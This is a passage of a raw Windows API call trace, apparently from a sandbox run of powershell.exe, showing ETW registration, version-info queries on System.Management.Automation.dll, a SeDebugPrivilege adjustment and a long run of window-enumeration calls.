[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x103e884*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0200.402] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x103e8e4*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x52, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x103e8e4*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x52, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0200.504] EtwEventRegister (in: ProviderId=0x5046adc, EnableCallback=0x7242c16, CallbackContext=0x0, RegHandle=0x5046ab4 | out: RegHandle=0x5046ab4) returned 0x0 [0200.525] EtwEventWriteTransfer (RegHandle=0x1189890, EventDescriptor=0x2e, ActivityId=0x103e8f8, RelatedActivityId=0x103e8a4, UserDataCount=0x0, UserData=0x0) returned 0x0 [0200.659] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e060 | out: phkResult=0x103e060*=0x0) returned 0x2 [0200.660] RegCloseKey (hKey=0x80000002) returned 0x0 [0200.755] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0200.765] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0200.765] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0200.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e7a8) returned 1 [0200.767] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x103e824 | out: lpFileInformation=0x103e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0200.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e7a4) returned 1 [0200.775] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x103e898 | out: lpdwHandle=0x103e898) returned 0x94c [0200.974] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x5049f68 | out: lpData=0x5049f68) returned 1 [0200.977] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x103e86c, puLen=0x103e868 | out: lplpBuffer=0x103e86c*=0x504a004, puLen=0x103e868) returned 1 [0200.980] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a0e0, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a134, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a190, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a1d0, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a238, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a2d4, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a338, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a3b4, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x504a05c, puLen=0x103e7e8) returned 1 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x0, puLen=0x103e7e8) returned 0 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x0, puLen=0x103e7e8) returned 0 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x103e7ec, puLen=0x103e7e8 | out: lplpBuffer=0x103e7ec*=0x0, puLen=0x103e7e8) returned 0 [0200.981] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x103e7e0, puLen=0x103e7dc | out: lplpBuffer=0x103e7e0*=0x504a004, puLen=0x103e7dc) returned 1 [0200.982] VerLanguageNameW (in: wLang=0x0, szLang=0x103e570, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0201.057] VerQueryValueW (in: pBlock=0x5049f68, lpSubBlock="\\", lplpBuffer=0x103e7f0, puLen=0x103e7ec | out: lplpBuffer=0x103e7f0*=0x5049f90, puLen=0x103e7ec) returned 1 [0201.065] GetCurrentProcessId () returned 0x9d0 [0201.077] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x103e0b4 | out: lpLuid=0x103e0b4*(LowPart=0x14, HighPart=0)) returned 1 [0201.079] GetCurrentProcess () returned 0xffffffff [0201.079] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x103e0b0 | out: TokenHandle=0x103e0b0*=0x360) returned 1 [0201.080] AdjustTokenPrivileges (in: TokenHandle=0x360, DisableAllPrivileges=0, NewState=0x504d0bc*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0201.080] CloseHandle (hObject=0x360) returned 1 [0201.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d0) returned 0x360 [0201.161] EnumProcessModules (in: hProcess=0x360, lphModule=0x504d100, cb=0x100, lpcbNeeded=0x103e820 | out: lphModule=0x504d100, lpcbNeeded=0x103e820) returned 1 [0201.220] GetModuleInformation (in: hProcess=0x360, hModule=0x12c0000, lpmodinfo=0x504ecb8, cb=0xc | out: lpmodinfo=0x504ecb8*(lpBaseOfDll=0x12c0000, SizeOfImage=0x6c000, EntryPoint=0x12c95f0)) returned 1 [0201.222] CoTaskMemAlloc (cb=0x804) returned 0x11fd8a8 [0201.222] GetModuleBaseNameW (in: hProcess=0x360, hModule=0x12c0000, lpBaseName=0x11fd8a8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0201.223] CoTaskMemFree (pv=0x11fd8a8) [0201.223] CoTaskMemAlloc (cb=0x804) returned 0x11fd8a8 [0201.223] GetModuleFileNameExW (in: hProcess=0x360, hModule=0x12c0000, lpFilename=0x11fd8a8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0201.223] CoTaskMemFree (pv=0x11fd8a8) [0201.225] CloseHandle (hObject=0x360) returned 1 [0201.227] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x9d0) returned 0x360 [0201.227] GetExitCodeProcess (in: hProcess=0x360, lpExitCode=0x504c824 | out: lpExitCode=0x504c824*=0x103) returned 1 [0201.248] EnumWindows (lpEnumFunc=0x7242c3e, lParam=0x0) returned 1 [0201.252] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xae8 [0201.252] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.252] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.252] GetWindowThreadProcessId (in: hWnd=0x100c8, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.253] GetWindowThreadProcessId (in: hWnd=0x100c4, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.253] GetWindowThreadProcessId (in: hWnd=0x100c0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.253] GetWindowThreadProcessId (in: hWnd=0x100ac, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.253] GetWindowThreadProcessId (in: hWnd=0x100a4, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.253] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.253] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.254] GetWindowThreadProcessId (in: hWnd=0x100d0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.254] GetWindowThreadProcessId (in: hWnd=0x100d4, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.254] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.254] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc9c [0201.254] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5cc [0201.254] GetWindowThreadProcessId (in: hWnd=0x100de, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.255] GetWindowThreadProcessId (in: hWnd=0x402c2, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xcd0 [0201.255] GetWindow (hWnd=0x402c2, uCmd=0x4) returned 0x0 [0201.255] IsWindowVisible (hWnd=0x402c2) returned 0 [0201.256] GetWindowThreadProcessId (in: hWnd=0x9005c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xefc [0201.256] GetWindowThreadProcessId (in: hWnd=0x102b4, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa90 [0201.256] GetWindowThreadProcessId (in: hWnd=0xb02be, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x11e8 [0201.256] GetWindowThreadProcessId (in: hWnd=0x202ae, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x84 [0201.256] GetWindowThreadProcessId (in: hWnd=0x202aa, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe78 [0201.256] GetWindowThreadProcessId (in: hWnd=0x202a6, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xfdc [0201.257] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe4c [0201.257] GetWindowThreadProcessId (in: hWnd=0x1029e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xeb0 [0201.257] GetWindowThreadProcessId (in: hWnd=0x1029a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x73c [0201.257] GetWindowThreadProcessId (in: hWnd=0x20296, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x25c [0201.257] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdf8 [0201.258] GetWindowThreadProcessId (in: hWnd=0x2028e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdc0 [0201.258] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xb0 [0201.258] GetWindowThreadProcessId (in: hWnd=0x20282, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd44 [0201.258] GetWindowThreadProcessId (in: hWnd=0x20280, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd0c [0201.258] GetWindowThreadProcessId (in: hWnd=0x1027e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x484 [0201.258] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xff8 [0201.259] GetWindowThreadProcessId (in: hWnd=0x20274, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xfc0 [0201.259] GetWindowThreadProcessId (in: hWnd=0x20272, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf14 [0201.259] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf78 [0201.259] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdac [0201.259] GetWindowThreadProcessId (in: hWnd=0x20264, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf04 [0201.259] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xda8 [0201.260] GetWindowThreadProcessId (in: hWnd=0x2025e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf64 [0201.260] GetWindowThreadProcessId (in: hWnd=0x2025a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf60 [0201.260] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xeb8 [0201.260] GetWindowThreadProcessId (in: hWnd=0x20252, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xec4 [0201.260] GetWindowThreadProcessId (in: hWnd=0x2024e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf4 [0201.260] GetWindowThreadProcessId (in: hWnd=0x2024a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xba0 [0201.261] GetWindowThreadProcessId (in: hWnd=0x20246, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe90 [0201.261] GetWindowThreadProcessId (in: hWnd=0x20242, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe84 [0201.261] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x824 [0201.261] GetWindowThreadProcessId (in: hWnd=0x2023a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x728 [0201.261] GetWindowThreadProcessId (in: hWnd=0x20234, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5f0 [0201.262] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdec [0201.262] GetWindowThreadProcessId (in: hWnd=0x2022e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x3b8 [0201.262] GetWindowThreadProcessId (in: hWnd=0x2022a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x2d4 [0201.262] GetWindowThreadProcessId (in: hWnd=0x20226, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x1fc [0201.262] GetWindowThreadProcessId (in: hWnd=0x20222, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdb4 [0201.262] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa08 [0201.263] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa84 [0201.263] GetWindowThreadProcessId (in: hWnd=0x20218, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x58c [0201.263] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe00 [0201.263] GetWindowThreadProcessId (in: hWnd=0x20210, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa7c [0201.263] GetWindowThreadProcessId (in: hWnd=0x2020c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc1c [0201.263] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x888 [0201.264] GetWindowThreadProcessId (in: hWnd=0x20204, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xbb0 [0201.264] GetWindowThreadProcessId (in: hWnd=0x40200, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdd4 [0201.264] GetWindowThreadProcessId (in: hWnd=0x30074, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd8c [0201.264] GetWindowThreadProcessId (in: hWnd=0x3007a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd80 [0201.264] GetWindowThreadProcessId (in: hWnd=0x50078, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x798 [0201.265] GetWindowThreadProcessId (in: hWnd=0x40072, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa70 [0201.265] GetWindowThreadProcessId (in: hWnd=0x20054, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x6dc [0201.265] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd4c [0201.304] GetWindowThreadProcessId (in: hWnd=0x2005a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x774 [0201.304] GetWindowThreadProcessId (in: hWnd=0x30058, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x680 [0201.304] GetWindowThreadProcessId (in: hWnd=0x20056, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xcfc [0201.304] GetWindowThreadProcessId (in: hWnd=0x40060, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd18 [0201.304] GetWindowThreadProcessId (in: hWnd=0x30176, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x790 [0201.305] GetWindowThreadProcessId (in: hWnd=0x4006a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x794 [0201.305] GetWindowThreadProcessId (in: hWnd=0x5014e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x51c [0201.305] GetWindowThreadProcessId (in: hWnd=0x3002a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x4ec [0201.305] GetWindowThreadProcessId (in: hWnd=0x3002c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x384 [0201.305] GetWindowThreadProcessId (in: hWnd=0x20152, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x4e4 [0201.305] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xcd8 [0201.305] GetWindowThreadProcessId (in: hWnd=0x301b8, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x518 [0201.305] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc9c [0201.306] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc9c [0201.306] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc98 [0201.306] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc98 [0201.306] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc9c [0201.306] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc38 [0201.306] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.306] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc38 [0201.307] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.307] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.307] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.307] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.307] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.307] GetWindowThreadProcessId (in: hWnd=0x200b2, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5cc [0201.307] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.307] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.308] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.308] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5cc [0201.308] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x8f8 [0201.308] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.308] GetWindowThreadProcessId (in: hWnd=0x100d2, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.308] GetWindowThreadProcessId (in: hWnd=0x20070, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc98 [0201.308] GetWindowThreadProcessId (in: hWnd=0x100ae, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.308] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x7b4 [0201.309] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5cc [0201.309] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5cc [0201.309] GetWindowThreadProcessId (in: hWnd=0x20032, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x7e8 [0201.309] GetWindowThreadProcessId (in: hWnd=0x1003a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x374 [0201.309] GetWindowThreadProcessId (in: hWnd=0x2006c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x44c [0201.309] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5cc [0201.309] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xae8 [0201.310] GetWindowThreadProcessId (in: hWnd=0x100e6, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.310] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x80c [0201.310] GetWindowThreadProcessId (in: hWnd=0x402c0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x1334 [0201.310] GetWindowThreadProcessId (in: hWnd=0x601e2, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf44 [0201.310] GetWindowThreadProcessId (in: hWnd=0x102b6, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa90 [0201.310] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x84 [0201.310] GetWindowThreadProcessId (in: hWnd=0x102ac, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe78 [0201.310] GetWindowThreadProcessId (in: hWnd=0x102a8, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xfdc [0201.311] GetWindowThreadProcessId (in: hWnd=0x102a4, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe4c [0201.311] GetWindowThreadProcessId (in: hWnd=0x202a0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xeb0 [0201.311] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x73c [0201.311] GetWindowThreadProcessId (in: hWnd=0x20298, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x25c [0201.311] GetWindowThreadProcessId (in: hWnd=0x10294, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdf8 [0201.311] GetWindowThreadProcessId (in: hWnd=0x20290, lpdwProcessId=0x103e784 | out: 